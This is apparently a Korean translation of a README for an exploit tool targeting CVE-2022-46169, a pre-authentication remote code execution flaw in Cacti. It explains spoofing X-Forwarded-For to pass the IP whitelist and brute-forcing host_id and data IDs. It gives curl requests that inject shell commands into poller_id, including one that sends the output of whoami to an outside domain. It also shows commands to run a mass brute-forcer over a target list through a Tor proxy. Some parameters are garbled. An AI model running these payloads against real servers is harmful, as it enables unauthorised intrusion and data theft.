
CVE-2022-46169 - Cacti Blind Remote Code Execution (Pre-Auth)
Cacti 블라인드 원격 코드 실행 (사전 인증)
이는 교육 목적으로만 제공됩니다. 귀하의 행동에 대해 책임을 지지 않습니다. 자신의 판단 하에 사용하세요.
이 스크립트는 이 취약점을 악용하는 데 필요한 변수들을 무차별 대입합니다. 이 익스플로잇에는 다음 3가지 변수가 필요합니다:
host_id 매개변수local_data_ids 매개변수remote_agent.php 파일은 IP 화이트리스트로 보호됩니다. X-Forwarded-IP 헤더에서 IP 주소를 스푸핑하여 이를 우회할 수 있습니다. 대부분의 인스턴스는 127.0.0.1 또는 서버 자체 IP 주소가 화이트리스트에 등록되어 있습니다.
다음으로 host_id 및 local_data_ids 요청 매개변수를 무차별 대입해야 합니다. 이는 기본 최소값 1, 최대값 10에서 정수 쌍 x,y를 열거하여 수행됩니다.
예제 요청
pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"
[]
이 3가지 변수를 얻은 후에는 poller_id 키에 셸 명령을 주입하고 명령 앞에 ;를 붙여 이스케이프할 수 있습니다.
이는 블라인드 RCE이므로, 명령 출력을 interact.sh와 같은 곳으로 보내거나 리버스 셸을 열어야 합니다. poller_id 값을 URL 인코딩하는 것을 잊지 마세요!
다음은 ping $(whoami).test.com 명령을 실행합니다.
curl -k -H "X-Forwarded-For: 127.0.0.01" \
"https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"
스크립트는 CSV 형식으로 출력합니다. 헤더는 "target", "ip", "host_id", "data_id", "url"입니다.
url 값이 없으면 스크립트가 IP 제한을 우회했지만 ID를 성공적으로 무차별 대입하지 못했다는 의미입니다. 이 출력을 가져와 더 높은 최대값을 설정하여 다시 시도할 수 있습니다.
다음 명령을 사용하여 출력 파일을 빠르게 파싱할 수 있습니다.
tail -n +2 results.csv | cut -d ',' -f1 | sort -u
tail -n +2 results.csv | cut -d ',' -f5 | sort -u
go build -v -o bruteforce bruteforce.go
./bruteforce -l targets.txt -t 50 -min 1 -max 10
-proxy socks5://127.0.0.1:9050results.csv입니다.